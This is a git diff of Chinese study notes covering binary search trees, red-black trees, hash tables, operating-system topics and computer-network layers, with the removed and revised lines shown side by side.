二叉查找树的算法运行时间取决于树的形状,而树的形状又取决于键被插入的先后顺序。最好的情况下树是完全平衡的,每条空链接和根节点的距离都为 logN。
<div align="center"> <img src="../pics//9653b0c6-4232-4299-9f5c-79a616abafb8.png" width="300"/> </div><br>
<div align="center"> <img src="../pics//4d741402-344d-4b7c-be01-e57184bcad0e.png" width="200"/> </div><br>
在最坏的情况下,树的高度为 N。
<div align="center"> <img src="../pics//be7dca03-12ec-456b-8b54-b1b3161f5531.png" width="200"/> </div><br>
### 4. floor()
@ -1065,7 +1070,6 @@ floor(key):小于等于键的最大键
- 如果键小于根节点的键,那么 floor(key) 一定在左子树中;
- 如果键大于根节点的键,需要先判断右子树中是否存在 floor(key),如果存在就找到,否则根节点就是 floor(key)。
<div align="center"> <img src="../pics//12b458dd-526d-46e2-acca-cf3b501d580e.png" width="400"/> </div><br>
```java
public Key floor(Key key) {
@ -1121,7 +1125,7 @@ private Node min(Node x) {
令指向最小节点的链接指向最小节点的右子树。
<div align="center"> <img src="../pics//392fb173-9713-433c-b37b-ea63ba76eae4.png" width="400"/> </div><br>
<div align="center"> <img src="../pics//26020e1a-06ab-4114-a6b3-e428de690c7e.png" width="500"/> </div><br>
```java
public void deleteMin() {
@ -1140,7 +1144,7 @@ public Node deleteMin(Node x) {
- 如果待删除的节点只有一个子树,那么只需要让指向待删除节点的链接指向唯一的子树即可;
- 否则,让右子树的最小节点替换该节点。
<div align="center"> <img src="../pics//691e8da5-fa65-4ee0-a4a9-bd9adba1521899256460.jpg" width="400"/> </div><br>
<div align="center"> <img src="../pics//3290673d-edab-4678-8b2e-f18e0f6b7fc1.png" width="400"/> </div><br>
```java
public void delete(Key key) {
@ -1190,7 +1194,7 @@ private void keys(Node x, Queue<Key> queue, Key lo, Key hi) {
## 2-3 查找树
<div align="center"> <img src="../pics//fd20f4f9-e5d8-43cf-bf4f-2057c18d01fb.png" width="300"/> </div><br>
<div align="center"> <img src="../pics//ff396233-1bb1-4e74-8bc2-d7c90146f5dd.png" width="250"/> </div><br>
2-3 查找树引入了 2- 节点和 3- 节点,目的是为了让树更平衡。一颗完美平衡的 2-3 查找树的所有空链接到根节点的距离应该是相同的。
@ -1202,11 +1206,11 @@ private void keys(Node x, Queue<Key> queue, Key lo, Key hi) {
插入到 2- 节点上,那么直接将新节点和原来的节点组成 3- 节点即可。
<div align="center"> <img src="../pics//64b70b59-5bae-4dd2-addd-7f687ea5b64b.png" width="400"/> </div><br>
<div align="center"> <img src="../pics//7f38a583-2f2e-4738-97af-510e6fb403a7.png" width="400"/> </div><br>
如果是插入到 3- 节点上,就会产生一个临时 4- 节点时,需要将 4- 节点分裂成 3 个 2- 节点,并将中间的 2- 节点移到上层节点中。如果上移操作继续产生临时 4- 节点则一直进行分裂上移,直到不存在临时 4- 节点。
<div align="center"> <img src="../pics//a259182b-91b7-4b63-98c9-9d9cc6e199d4.png" width="400"/> </div><br>
<div align="center"> <img src="../pics//ef280699-da36-4b38-9735-9b048a3c7fe0.png" width="500"/> </div><br>
### 2. 性质
@ -1220,7 +1224,7 @@ private void keys(Node x, Queue<Key> queue, Key lo, Key hi) {
2-3 查找树需要用到 2- 节点和 3- 节点,红黑树使用红链接来实现 3- 节点。指向一个节点的链接颜色如果为红色,那么这个节点和上层节点表示的是一个 3- 节点,而黑色则是普通链接。
<div align="center"> <img src="../pics//3c99f603-c471-49df-86df-0a0c750f1948.png" width="400"/> </div><br>
<div align="center"> <img src="../pics//4f48e806-f90b-4c09-a55f-ac0cd641c047.png" width="250"/> </div><br>
红黑树具有以下性质:
@ -1263,9 +1267,7 @@ public class RedBlackBST<Key extends Comparable<Key>, Value> {
因为合法的红链接都为左链接,如果出现右链接为红链接,那么就需要进行左旋转操作。
<div align="center"> <img src="../pics//40fe0669-6ac2-46f1-8666-a03785ad7412.png" width="300"/> </div><br>
<div align="center"> <img src="../pics//ed23a7cd-d55f-453d-b5bc-076d7b1c002e.jpg" width="300"/> </div><br>
<div align="center"> <img src="../pics//9110c1a0-8a54-4145-a814-2477d0128114.png" width="450"/> </div><br>
```java
public Node rotateLeft(Node h) {
@ -1284,9 +1286,7 @@ public Node rotateLeft(Node h) {
进行右旋转是为了转换两个连续的左红链接,这会在之后的插入过程中探讨。
<div align="center"> <img src="../pics//d3b06a52-cce1-4e05-aeff-1680a282b178.png" width="300"/> </div><br>
<div align="center"> <img src="../pics//7ca30d08-f7fa-4e39-b386-93c70631a900.png" width="300"/> </div><br>
<div align="center"> <img src="../pics//e2f0d889-2330-424c-8193-198edebecff7.png" width="450"/> </div><br>
```java
public Node rotateRight(Node h) {
@ -1304,9 +1304,7 @@ public Node rotateRight(Node h) {
一个 4- 节点在红黑树中表现为一个节点的左右子节点都是红色的。分裂 4- 节点除了需要将子节点的颜色由红变黑之外,同时需要将父节点的颜色由黑变红,从 2-3 树的角度看就是将中间节点移到上层节点。
<div align="center"> <img src="../pics//6e874d3e-9999-4d14-b6c9-fc7776c7ce30.png" width="400"/> </div><br>
<div align="center"> <img src="../pics//04662fa2-d19b-4de3-a829-50acb7af75d7.png" width="400"/> </div><br>
<div align="center"> <img src="../pics//af4639f9-af54-4400-aaf5-4e261d96ace7.png" width="300"/> </div><br>
```java
void flipColors(Node h){
@ -1324,7 +1322,7 @@ void flipColors(Node h){
- 如果左子节点是红色的,而且左子节点的左子节点也是红色的,进行右旋转;
- 如果左右子节点均为红色的,进行颜色转换。
<div align="center"> <img src="../pics//0f86eb11-3724-48de-9f27-499dfc7e96f1.png" width="500"/> </div><br>
<div align="center"> <img src="../pics//08427d38-8df1-49a1-8990-e0ce5ee36ca2.png" width="400"/> </div><br>
```java
public void put(Key key, Value val) {
@ -1352,23 +1350,7 @@ private Node put(Node x, Key key, Value val) {
根节点一定为黑色因为根节点没有上层节点也就没有上层节点的左链接指向根节点。flipColors() 有可能会使得根节点的颜色变为红色,每当根节点由红色变成黑色时树的黑链接高度加 1.
### 5. 删除最小键
如果最小键在一个 2- 节点中,那么删除该键会留下一个空链接,就破坏了平衡性,因此要确保最小键不在 2- 节点中。
将 2- 节点转换成 3- 节点或者 4- 节点有两种方法,一种是向上层节点拿一个 key一种是向兄弟节点拿一个 key。如果上层节点是 2- 节点,那么就没办法从上层节点拿 key 了,因此要保证删除路径上的所有节点都不是 2- 节点。在向下删除的过程中,保证以下情况之一发生:
1. 如果当前节点的左子节点不是 2- 节点,完成;
2. 如果当前节点的左子节点是 2- 节点而它的兄弟节点不是 2- 节点,向兄弟节点拿一个 key 过来;
3. 如果当前节点的左子节点和它的兄弟节点都是 2- 节点,将左子节点、父节点中的最小键和最近的兄弟节点合并为一个 4- 节点。
<div align="center"> <img src="../pics//88ae5997-50ab-4204-891f-88e212ba892e.png" width="400"/> </div><br>
最后得到一个含有最小键的 3- 节点或者 4- 节点,直接从中删除。然后再从头分解所有临时的 4- 节点。
<div align="center"> <img src="../pics//5e8493be-72cc-4a76-a68f-4852eacb2811.png" width="400"/> </div><br>
### 6. 分析
### 5. 分析
一颗大小为 N 的红黑树的高度不会超过 2logN。最坏的情况下是它所对应的 2-3 树,构成最左边的路径节点全部都是 3- 节点而其余都是 2- 节点。
@ -1442,7 +1424,7 @@ public class Transaction{
拉链法使用链表来存储 hash 值相同的键,从而解决冲突。此时查找需要分两步,首先查找 Key 所在的链表,然后在链表中顺序查找。
<div align="center"> <img src="../pics//f2af8957-d498-462f-9d11-f1c17876ba8e.png" width="800"/> </div><br>
<div align="center"> <img src="../pics//b4252c85-6fb0-4995-9a68-a1a5925fbdb1.png" width="350"/> </div><br>
对于 N 个键M 条链表 (N>M),如果哈希函数能够满足均匀性的条件,每条链表的大小趋向于 N/M因此未命中的查找和插入操作所需要的比较次数为 \~N/M。
@ -1450,7 +1432,7 @@ public class Transaction{
线性探测法使用空位来解决冲突,当冲突发生时,向前探测一个空位来存储冲突的键。使用线程探测法,数组的大小 M 应当大于键的个数 NM>N)。
<div align="center"> <img src="../pics//8459a13f-b0b8-4387-85a9-2525482bc25a.png" width="800"/> </div><br>
<div align="center"> <img src="../pics//dbb8516d-37ba-4e2c-b26b-eefd7de21b45.png" width="400"/> </div><br>
```java
public class LinearProbingHashST<Key, Value> {
@ -1567,7 +1549,7 @@ private void resize(int cap) {
}
```
虽然每次重新调整数组都需要重新把每个键值对插入到散列表,但是从摊还分析的角度来看,所需要的代价却是很小的。从下图可以看出,每次数组长度加倍后,累计平均值都会增加 1因为表中每个键都需要重新计算散列值,但是随后平均值会下降。
虽然每次重新调整数组都需要重新把每个键值对插入到散列表,但是从摊还分析的角度来看,所需要的代价却是很小的。从下图可以看出,每次数组长度加倍后,累计平均值都会增加 1这是因为散列表中每个键都需要重新计算散列值。随后平均值会下降。
<div align="center"> <img src="../pics//d7c6c42d-a4d8-4b85-82fb-c21250bf5ca1.png" width="800"/> </div><br>
@ -1575,7 +1557,13 @@ private void resize(int cap) {
### 1. 各种符号表实现的比较
<div align="center"> <img src="../pics//b15ed62e-b955-44ac-b5cb-6fa7a16c79b5.png" width="800"/> </div><br>
| 算法 | 插入 | 查找 | 是否有序 |
| :---: | :---: | :---: | :---: |
| 二分查找实现的有序表 | logN | N | yes |
| 二叉查找树 | logN | logN | yes |
| 2-3 查找树 | logN | logN | yes |
| 拉链法实现的散列表 | logN | N/M | no |
| 线性探测法试下的删列表 | logN | 1 | no |
应当优先考虑散列表,当需要有序性操作时使用红黑树。
@ -1619,3 +1607,7 @@ public class SparseVector {
}
```
# 参考资料
- Sedgewick, Robert, and Kevin Wayne. _Algorithms_. Addison-Wesley Professional, 2011.

View File

@ -106,7 +106,7 @@ Linux 的系统调用主要有以下这些:
### 2. 微内核
由于操作系统不断复杂,为了实现因此将一部分操作系统功能移出内核,从而降低内核的复杂性。移出的部分根据分层的原则划分成若干服务,相互独立。
由于操作系统不断复杂,因此将一部分操作系统功能移出内核,从而降低内核的复杂性。移出的部分根据分层的原则划分成若干服务,相互独立。
在微内核结构下,操作系统被划分成小的、定义良好的模块,只有微内核这一个模块运行在内核态,其余模块运行在用户态。
@ -434,7 +434,7 @@ void writer() {
<div align="center"> <img src="../pics//a9077f06-7584-4f2b-8c20-3a8e46928820.jpg"/> </div><br>
五个哲学家围着一张圆桌,每个哲学家面前放着食物。哲学家的生活有两种交替活动:吃饭以及思考。当一个哲学家吃饭时,需要先拿起筷子左右的两根筷子,并且一次只能拿起一根筷子。
五个哲学家围着一张圆桌,每个哲学家面前放着食物。哲学家的生活有两种交替活动:吃饭以及思考。当一个哲学家吃饭时,需要先拿起自己左右两边的两根筷子,并且一次只能拿起一根筷子。
下面是一种错误的解法,考虑到如果所有哲学家同时拿起左手边的筷子,那么就无法拿起右手边的筷子,造成死锁。
@ -455,7 +455,7 @@ void philosopher(int i) {
为了防止死锁的发生,可以设置两个条件:
1. 必须同时拿起左右两筷子;
1. 必须同时拿起左右两筷子;
2. 只有在两个邻居都没有进餐的情况下才允许进餐。
```c
@ -858,7 +858,7 @@ gcc -o hello hello.c
静态连接器以一组可重定向目标文件为输入,生成一个完全链接的可执行目标文件作为输出。链接器主要完成以下两个任务:
1. 符号解析:每个符号对应于一个函数、一个全局变量或一个静态变量,符号解析的目的是将每个符号引用一个符号定义关联起来。
1. 符号解析:每个符号对应于一个函数、一个全局变量或一个静态变量,符号解析的目的是将每个符号引用一个符号定义关联起来。
2. 重定位:编译器和汇编器生成从地址 0 开始的代码和数据节,链接器通过把每个符号定义与一个内存位置关联起来,从而重定位这些节,然后修改所有对这些符号的引用,使得它们指向这个内存位置。
<div align="center"> <img src="../pics//47d98583-8bb0-45cc-812d-47eefa0a4a40.jpg"/> </div><br>

View File

@ -6,22 +6,23 @@
* [主机之间的通信方式](#主机之间的通信方式)
* [电路交换与分组交换](#电路交换与分组交换)
* [时延](#时延)
* [计算机网络体系结构 *](#计算机网络体系结构-)
* [计算机网络体系结构*](#计算机网络体系结构)
* [二、物理层](#二物理层)
* [通信方式](#通信方式)
* [带通调制](#带通调制)
* [信道复用技术](#信道复用技术)
* [三、数据链路层](#三数据链路层)
* [信道分类](#信道分类)
* [三个基本问题](#三个基本问题)
* [点对点信道 - PPP 协议](#点对点信道---ppp-协议)
* [局域网的拓扑](#局域网的拓扑)
* [广播信道- CSMA/CD 协议 *](#广播信道--csmacd-协议-)
* [扩展局域网 *](#扩展局域网-)
* [MAC 层 *](#mac-层-)
* [四、网络层 *](#四网络层-)
* [局域网](#局域网)
* [PPP 协议](#ppp-协议)
* [CSMA/CD 协议*](#csmacd-协议)
* [扩展局域网*](#扩展局域网)
* [MAC 层*](#mac-层)
* [四、网络层*](#四网络层)
* [网际协议 IP 概述](#网际协议-ip-概述)
* [IP 数据报格式](#ip-数据报格式)
* [IP 地址编址](#ip-地址编址)
* [IP 地址编址方式](#ip-地址编址方式)
* [IP 地址和 MAC 地址](#ip-地址和-mac-地址)
* [地址解析协议 ARP](#地址解析协议-arp)
* [路由器的结构](#路由器的结构)
@ -29,10 +30,9 @@
* [路由选择协议](#路由选择协议)
* [网际控制报文协议 ICMP](#网际控制报文协议-icmp)
* [分组网间探测 PING](#分组网间探测-ping)
* [IP 多播](#ip-多播)
* [虚拟专用网 VPN](#虚拟专用网-vpn)
* [网络地址转换 NAT](#网络地址转换-nat)
* [五、运输层 *](#五运输层-)
* [五、运输层*](#五运输层)
* [UDP 和 TCP 的特点](#udp-和-tcp-的特点)
* [UDP 首部格式](#udp-首部格式)
* [TCP 首部格式](#tcp-首部格式)
@ -42,11 +42,10 @@
* [TCP 可靠传输](#tcp-可靠传输)
* [TCP 流量控制](#tcp-流量控制)
* [TCP 拥塞控制](#tcp-拥塞控制)
* [六、应用层 *](#六应用层-)
* [六、应用层*](#六应用层)
* [域名系统 DNS](#域名系统-dns)
* [文件传输协议 FTP](#文件传输协议-ftp)
* [远程终端协议 TELNET](#远程终端协议-telnet)
* [万维网 WWW](#万维网-www)
* [电子邮件协议](#电子邮件协议)
* [动态主机配置协议 DHCP](#动态主机配置协议-dhcp)
* [点对点传输 P2P](#点对点传输-p2p)
@ -62,7 +61,7 @@
网络把主机连接起来,而互联网是把多种不同的网络连接起来,因此互联网是网络的网络。
<div align="center"> <img src="../pics//f1fb826b-ecf4-4ddb-91f0-2bafecf08869.jpg"/> </div><br>
<div align="center"> <img src="../pics//77f81379-3987-4036-8d7c-93a4dcf7b05d.jpg" width="800"/> </div><br>
## ISP
@ -72,7 +71,7 @@
互联网交换点 IXP 允许两个 ISP 直接相连而不用经过第三个 ISP。
<div align="center"> <img src="../pics//0f8c0a60-d4c6-47f4-978d-1a5c393fedac.jpg"/> </div><br>
<div align="center"> <img src="../pics//02986f62-c641-44a8-a55f-983581490e0c.png" width="700"/> </div><br>
## 互联网的组成
@ -80,7 +79,7 @@
2. 核心部分:由大量的网络和连接这些网络的路由器组成,为边缘部分的主机提供服务。
<div align="center"> <img src="../pics//8ab40d6d-bd7c-47d3-afe8-6a8bc9f5d04c.jpg"/> </div><br>
<div align="center"> <img src="../pics//10f5e35b-1c71-4717-9e80-47f259702642.jpg" width="600"/> </div><br>
## 主机之间的通信方式
@ -90,7 +89,7 @@
## 电路交换与分组交换
<div align="center"> <img src="../pics//c50d230c-8b89-4644-8f62-8708d03aac5b.jpg"/> </div><br>
<div align="center"> <img src="../pics//d1f81ac3-9fdb-4371-a49d-ca84917aa89f.jpg" width="800"/> </div><br>
### 1. 电路交换
@ -104,9 +103,9 @@
分组交换也使用了存储转发,但是转发的是分组而不是报文。把整块数据称为一个报文,由于一个报文可能很长,需要先进行切分,来满足分组能处理的大小。在每个切分的数据前面加上首部之后就成为了分组,首部包含了目的地址和源地址等控制信息。
<div align="center"> <img src="../pics//2366c2ad-5859-4d4e-805f-7e2b88061cd8.jpg"/> </div><br>
<div align="center"> <img src="../pics//94589319-975f-490b-8bae-90b3a4953559.png" width="600"/> </div><br>
存储转发允许在一条传输线路上传送多个主机的分组,因此两个用户之间的通信不需要占用端到端的线路资源。
存储转发允许在一条传输线路上传送多个主机的分组,也就是说两个用户之间的通信不需要占用端到端的线路资源。
相比于报文交换,由于分组比报文更小,因此分组交换的存储转发速度更加快速。
@ -114,7 +113,7 @@
总时延 = 发送时延 + 传播时延 + 处理时延 + 排队时延
<div align="center"> <img src="../pics//ceee91c2-da26-4169-94c3-e4608b46b9ac.png"/> </div><br>
<div align="center"> <img src="../pics//3939369b-3a4a-48a0-b9eb-3efae26dd400.png" width="800"/> </div><br>
### 1. 发送时延
@ -134,15 +133,15 @@
### 3. 处理时延
主机或路由器收到分组时进行处理所需要的时间,例如分析首部,从分组中提取数据部分等。
主机或路由器收到分组时进行处理所需要的时间,例如分析首部、从分组中提取数据部、进行差错检验或查找适当的路由等。
### 4. 排队时延
分组在路由器的输入队列和输出队列中排队等待的时间,取决于网络当前的通信量。
## 计算机网络体系结构 *
## 计算机网络体系结构*
<div align="center"> <img src="../pics//1005dc9d-9049-4b06-9524-6171e56ebd8c.png"/> </div><br>
<div align="center"> <img src="../pics//426df589-6f97-4622-b74d-4a81fcb1da8e.png" width="800"/> </div><br>
### 1. 七层协议
@ -157,9 +156,9 @@
2. 运输层:提供的是进程间的通用数据传输服务。由于应用层协议很多,定义通用的运输层协议就可以支持不断增多的应用层协议。运输层包括两种协议:传输控制协议 TCP提供面向连接、可靠的数据传输服务数据单位为报文段用户数据报协议 UDP提供无连接、尽最大努力的数据传输服务数据单位为用户数据报。TCP 主要提供完整性服务UDP 主要提供及时性服务。
3. 网络层:为主机之间提供数据传输服务,而运输层协议那样是为主机中的进程提供服务。网络层把运输层传递下来的报文段或者用户数据报封装成分组。
3. 网络层:为主机之间提供数据传输服务,而运输层协议是为主机中的进程提供服务。网络层把运输层传递下来的报文段或者用户数据报封装成分组。
4. 数据链路层:网络层针对的还是主机之间的数据传输服务,而主机之间可以有很多链路,链路层协议就是为相邻结点之间提供服务。数据链路层把网络层传来的分组封装成帧。
4. 数据链路层:网络层针对的还是主机之间的数据传输服务,而主机之间可以有很多链路,链路层协议就是为同一链路的结点提供服务。数据链路层把网络层传来的分组封装成帧。
5. 物理层:考虑的是怎样在传输媒体上传输数据比特流,而不是指具体的传输媒体。物理层的作用是尽可能屏蔽传输媒体和通信手段的差异,使数据链路层感觉不到这些差异。
@ -169,7 +168,7 @@
路由器只有下面三层协议,因为路由器位于网络核心中,不需要为进程或者应用程序提供服务,因此也就不需要运输层和应用层。
<div align="center"> <img src="../pics//ac106e7e-489a-4082-abd9-dabebe48394c.jpg"/> </div><br>
<div align="center"> <img src="../pics//ac106e7e-489a-4082-abd9-dabebe48394c.jpg" width="800"/> </div><br>
### 4. TCP/IP 体系结构
@ -177,11 +176,11 @@
现在的 TCP/IP 体系结构不严格遵循 OSI 分层概念,应用层可能会直接使用 IP 层或者网络接口层。
<div align="center"> <img src="../pics//37b74a34-251c-45f8-88a4-614ec953f7e9.png"/> </div><br>
<div align="center"> <img src="../pics//45e0e0bf-386d-4280-a341-a0b9496c7674.png" width="400"/> </div><br>
TCP/IP 协议族是一种沙漏形状中间小两边大IP 协议在其中占用举足轻重的地位。
<div align="center"> <img src="../pics//93cbce0c-c37d-429c-815b-861976a46bd8.png"/> </div><br>
<div align="center"> <img src="../pics//d4eef1e2-5703-4ca4-82ab-8dda93d6b81f.png" width="500"/> </div><br>
# 二、物理层
@ -195,7 +194,7 @@ TCP/IP 协议族是一种沙漏形状中间小两边大IP 协议在其中
模拟信号是连续的信号,数字信号是离散的信号。带通调制把数字信号转换为模拟信号。
<div align="center"> <img src="../pics//d2c55c84-aa1f-43c1-bd97-457bcb7816b3.png"/> </div><br>
<div align="center"> <img src="../pics//7b68b142-9489-44f6-87b0-4cb5c6431e63.jpg" width="600"/> </div><br>
## 信道复用技术
@ -203,21 +202,21 @@ TCP/IP 协议族是一种沙漏形状中间小两边大IP 协议在其中
频分复用的所有用户在相同的时间占用不同的频率带宽资源;时分复用的所有用户在不同的时间占用相同的频率带宽资源。
使用这两种方式进行通信,在通信的过程中用户会一直占用一部分信道资源。但是由于计算机数据的突发性质,没必要一直占用信道资源而不让出给其它用户使用,因此这两种方式对信道的利用率都不高。
使用这两种方式进行通信,在通信的过程中用户会一直占用一部分信道资源。但是由于计算机数据的突发性质,通信过程没必要一直占用信道资源而不让出给其它用户使用,因此这两种方式对信道的利用率都不高。
<div align="center"> <img src="../pics//543d47a1-f0dd-414f-b23c-0c142c814854.png" width="500"/> </div><br>
<div align="center"> <img src="../pics//f3bfe11f-9cba-4ff2-8cc6-629068408a80.jpg" width="600"/> </div><br>
### 2. 统计时分复用
是对时分复用的一种改进,不固定每个用户在时分复用帧中的位置,只要有数据就集中起来组成统计时分复用帧然后发送。
<div align="center"> <img src="../pics//29058e09-bb72-4040-a73d-4c497895e9ce.jpg" width="600"/> </div><br>
<div align="center"> <img src="../pics//5999e5de-7c16-4b52-b3aa-6dc7b58c7894.png" width="700"/> </div><br>
### 3. 波分复用
光的频分复用。由于光的频率很高,因此习惯上用波长而不是频率来表示所使用的光载波。
<div align="center"> <img src="../pics//78534153-88d1-4f83-a6e0-59064dbdc43a.png" width="600"/> </div><br>
<div align="center"> <img src="../pics//21041ec2-babb-483f-bf47-8b8148eec162.png" width="700"/> </div><br>
### 4. 码分复用
@ -225,7 +224,7 @@ TCP/IP 协议族是一种沙漏形状中间小两边大IP 协议在其中
<div align="center"><img src="https://latex.codecogs.com/gif.latex?\frac{1}{m}\vec{S}\cdot\vec{T}=0"/></div> <br>
为了方便,取 m=8设码片 <img src="https://latex.codecogs.com/gif.latex?\vec{S}"/> 为 00011011。在拥有该码片的用户发送比特 1 时就发送该码片,发送比特 0 时就发送该码片的反码 11100100。
为了讨论方便,取 m=8设码片 <img src="https://latex.codecogs.com/gif.latex?\vec{S}"/> 为 00011011。在拥有该码片的用户发送比特 1 时就发送该码片,发送比特 0 时就发送该码片的反码 11100100。
在计算时将 00011011 记作 (-1 -1 -1 +1 +1 -1 +1 +1),可以得到
@ -239,68 +238,75 @@ TCP/IP 协议族是一种沙漏形状中间小两边大IP 协议在其中
码分复用需要发送的数据量为原先的 m 倍。
<div align="center"> <img src="../pics//0042edad-8e3b-4279-bd93-6906fcd1b640.jpg"/> </div><br>
<div align="center"> <img src="../pics//92ad9bae-7d02-43ba-8115-a9d6f530ca28.png" width="600"/> </div><br>
# 三、数据链路层
## 信道分类
1. 点对点信道:一对一通信方式;
2. 广播信道:一对多通信方式。
## 三个基本问题
### 1. 封装成帧
将网络层传下来的分组添加首部和尾部,用于标记帧的开始和结束。
<div align="center"> <img src="../pics//3402d1c0-7020-4249-9a7f-12ea2ea6adf7.jpg"/> </div><br>
<div align="center"> <img src="../pics//ea5f3efe-d5e6-499b-b278-9e898af61257.jpg" width="500"/> </div><br>
### 2. 透明传输
透明表示一个实际存在的事物看起来好像不存在一样。
帧使用首部和尾部进行定界,如果帧的数据部分含有和首部尾部相同的内容,那么帧的开始和结束位置就会被错误的判定。需要在数据部分出现首部尾部相同的内容前面插入转义字符,如果出现转字符,那么就在转义字符前面再加个转义字符,在接收端进行处理之后可以还原出原始数据。这个过程透明传输的内容是转义字符,用户察觉不到转义字符的存在。
帧使用首部和尾部进行定界,如果帧的数据部分含有和首部尾部相同的内容,那么帧的开始和结束位置就会被错误的判定。需要在数据部分出现首部尾部相同的内容前面插入转义字符,如果出现转字符,那么就在转义字符前面再加个转义字符,在接收端进行处理之后可以还原出原始数据。这个过程透明传输的内容是转义字符,用户察觉不到转义字符的存在。
<div align="center"> <img src="../pics//4146e14b-56b9-433c-8e3d-74b1b325399c.jpg"/> </div><br>
<div align="center"> <img src="../pics//c5022dd3-be22-4250-b9f6-38ae984a04d7.jpg" width="600"/> </div><br>
### 3. 差错检测
目前数据链路层广泛使用了循环冗余检验CRC来检查比特差错。
## 点对点信道 - PPP 协议
## 局域网
互联网用户通常需要连接到某个 ISP 之后才能接入到互联网PPP 协议就是用户计算机和 ISP 进行通信时所使用的数据链路层协议
局域网是典型的一种广播信道,主要特点是网络为一个单位所拥有,且地理范围和站点数目均有限
<div align="center"> <img src="../pics//8393f520-d824-44ea-a5f3-1c1a73d735fb.jpg"/> </div><br>
可以按照网络拓扑对局域网进行分类:
在 PPP 的帧中
<div align="center"> <img src="../pics//a6026bb4-3daf-439f-b1ec-a5a24e19d2fb.jpg" width="600"/> </div><br>
## PPP 协议
用于点对点信道中。互联网用户通常需要连接到某个 ISP 之后才能接入到互联网PPP 协议是用户计算机和 ISP 进行通信时所使用的数据链路层协议。
<div align="center"> <img src="../pics//ddcf2327-8d84-425d-8535-121a94bcb88d.jpg" width="600"/> </div><br>
在 PPP 的帧中:
- F 字段为帧的定界符
- A 和 C 字段暂时没有意义
- FCS 字段是使用 CRC 的检验序列
- 信息部分的长度不超过 1500
<div align="center"> <img src="../pics//0f39c274-b79c-4e83-8c7c-94fc2747832d.jpg"/> </div><br>
<div align="center"> <img src="../pics//69f16984-a66f-4288-82e4-79b4aa43e835.jpg" width="500"/> </div><br>
## 局域网的拓扑
## CSMA/CD 协议*
<div align="center"> <img src="../pics//8b15e36f-69b4-46b6-a07c-7234ac7c7927.jpg"/> </div><br>
## 广播信道- CSMA/CD 协议 *
在广播信道上,同一时间只能允许一台计算机发送数据。
用于广播信道中。在广播信道上,同一时间只能允许一台计算机发送数据。
CSMA/CD 表示载波监听多点接入 / 碰撞检测。
- **多点接入** :说明这是总线型网络,许多计算机以多点的方式连接到总线上。
- **载波监听** :每个站都必须不停地监听信道。在发送前,如果监听到信道正在使用,就必须等待。
- **碰撞检测** :在发送中,如果监听到信道已有其它站正在发送数据,就表示发生了碰撞。虽然每一个站在发送数据之前都已经监听到信道为空闲,但是由于电磁波的传播时延的存在,还是有可能会发生碰撞。
- **载波监听** :每个站都必须不停地监听信道。在发送前,如果检听信道正在使用,就必须等待。
- **碰撞检测** :在发送中,如果监听 到信道已有其它站正在发送数据,就表示发生了碰撞。虽然每一个站在发送数据之前都已经监听到信道为空闲,但是由于电磁波的传播时延的存在,还是有可能会发生碰撞。
<div align="center"> <img src="../pics//f9ed4da5-0032-41e6-991a-36d995ec28fd.png"/> </div><br>
<div align="center"> <img src="../pics//5aa82b89-f266-44da-887d-18f31f01d8ef.png" width="600"/> </div><br>
记端到端的传播时延为 τ,最先发送的站点最多经过 2τ 就可以知道是否发生了碰撞,称 2τ 为 **争用期** 。只有经过争用期之后还没有检测到碰撞,才能肯定这次发送不会发生碰撞。
当发生碰撞时,站点要停止发送,等待一段时间再发送。这个时间采用 **截断二进制指数退避算法** 来确定,从离散的整数集合 {0, 1, .., (2<sup>k</sup>-1)} 中随机取出一个数,记作 r然后取 r 倍的争用期作为重传等待时间。
## 扩展局域网 *
## 扩展局域网*
### 1. 在物理层进行扩展
@ -312,41 +318,40 @@ CSMA/CD 表示载波监听多点接入 / 碰撞检测。
集线器是一种共享式的传输设备,意味着同一时刻只能传输一组数据帧。
<div align="center"> <img src="../pics//823cdab7-3779-4e3a-a951-dc2d154e0ee6.jpg"/> </div><br>
<div align="center"> <img src="../pics//823cdab7-3779-4e3a-a951-dc2d154e0ee6.jpg" width="800"/> </div><br>
### 2. 在链路层进行扩展
最开始使用的是网桥,它收到一个帧时,根据帧的 MAC 地址,查找网桥中的地址表,确定帧转发的接口。
最开始使用的是网桥,它收到一个帧时,根据帧的 MAC 地址,查找网桥中的地址表,确定帧转发的接口。
网桥不是共享式设备,因此性能比集线器这种共享式设备更高。
交换机的问世很快就淘汰了网桥,它实质上是一个多接口网桥,而网桥是两接口。交换机的每个接口都能直接与一个主机或者另一个交换机相连,并且一般都工作在全双工方式。
交换机具有自学习能力,学习的是交换表的内容交换表中存储着 MAC 地址到接口的映射。下图中,交换机有 4 个接口,主机 A 向主机 B 发送数据帧时,交换机把主机 A 到接口 1 的映射写入交换表中。为了发送数据帧到 B先查交换表此时没有主机 B 的表项,那么主机 A 就发送广播帧,主机 C 和主机 D 会丢弃该帧,主机 B 收下之后,查找交换表得到主机 A 映射的接口为 1因此就把帧发送给主机 A,同时交换机添加主机 B 到接口 3 的映射。
交换机具有自学习能力,学习的是交换表的内容交换表中存储着 MAC 地址到接口的映射。下图中,交换机有 4 个接口,主机 A 向主机 B 发送数据帧时,交换机把主机 A 到接口 1 的映射写入交换表中。为了发送数据帧到 B先查交换表此时没有主机 B 的表项,那么主机 A 就发送广播帧,主机 C 和主机 D 会丢弃该帧。主机 B 收下之后,查找交换表得到主机 A 映射的接口为 1就发送数据帧到接口 1,同时交换机添加主机 B 到接口 3 的映射。
<div align="center"> <img src="../pics//c9cfcd20-c901-435f-9a07-3e46830c359f.jpg"/> </div><br>
<div align="center"> <img src="../pics//c9cfcd20-c901-435f-9a07-3e46830c359f.jpg" width="800"/> </div><br>
### 3. 虚拟局域网
虚拟局域网可以建立与物理位置无关的逻辑组,只有在同一个虚拟局域网中的成员才会收到链路层广播信息,例如下图中 (A1, A2, A3, A4) 属于一个虚拟局域网A1 发送的广播会被 A2、A3、A4 收到,而其它站点收不到。
<div align="center"> <img src="../pics//a74b70ac-323a-4b31-b4d5-90569b8a944b.png"/> </div><br>
<div align="center"> <img src="../pics//a74b70ac-323a-4b31-b4d5-90569b8a944b.png" width="600"/> </div><br>
## MAC 层 *
## MAC 层*
MAC 地址是 6 字节48 位)的地址,用于唯一标识网络适配器(网卡),一台主机拥有多少个适配器就有多少个 MAC 地址,例如笔记本电脑普遍存在无线网络适配器和有线网络适配器。
<div align="center"> <img src="../pics//50d38e84-238f-4081-8876-14ef6d7938b5.jpg"/> </div><br>
<div align="center"> <img src="../pics//50d38e84-238f-4081-8876-14ef6d7938b5.jpg" width="600"/> </div><br>
在 MAC 帧中:
- **类型** :标记上层使用的协议;
- **数据** :长度在 46-1500 之间,如果太小则需要填充;
